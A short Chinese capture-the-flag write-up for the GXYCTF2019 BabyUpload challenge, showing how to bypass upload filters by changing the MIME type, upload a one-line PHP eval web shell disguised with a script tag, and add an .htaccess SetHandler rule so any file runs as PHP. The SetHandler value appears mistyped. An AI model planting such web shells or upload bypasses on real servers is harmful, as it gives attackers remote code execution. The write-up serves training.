文件上传例题:[GXYCTF2019]BabyUpload

yang-ace / 2024-03-13 / 原文

文件上传例题:[GXYCTF2019]BabyUpload

打开网址明显文件上传

image-20240313145403449

上传简单php马尝试

image-20240313152521664

后缀名过滤,使用BP抓包进行修改

image-20240313152627124

提示文件类型不对,修改成image/jpeg

image-20240313152717687

提示还是php,那换成js马

<script language="php">eval($_POST['cmd']);</script>

image-20240313153117046

上传成功

解析php代码需要.htaccess文件

在文件内写入

SetHandler application/x-thhpd-php

这条命令可以解析所有后缀文件为php代码

上传.htaccess文件

image-20240313154627914

响应,接着上传js马

image-20240313154848005

使用蚁剑连接

image-20240313155041677

在根目录下找到flag

image-20240313155139120